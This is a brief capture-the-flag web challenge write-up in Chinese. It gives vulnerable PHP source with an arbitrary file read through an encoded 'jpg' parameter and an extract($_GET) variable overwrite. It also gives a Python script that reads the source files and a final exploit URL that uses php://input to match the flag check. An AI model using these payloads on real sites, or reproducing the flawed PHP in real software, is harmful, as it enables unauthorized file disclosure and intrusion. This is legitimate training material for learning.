某CTF Web题目wp

<?php
/*
 * url
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */
?>

practice.txt.swp

import base64
import requests
def encode2(str1):
    return (base64.b64encode(base64.b64encode(str1.encode('hex'))))
def get1(str1):
    url = 'http://url/index.php?jpg='+encode2(str1)
    print str1,url
    req = requests.get(url)
    print req.text
get1('practice.txt.swp')
get1('f1agconfigddctf.php')

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

http://url/f1ag!ddctf.php?uid=&k=php://input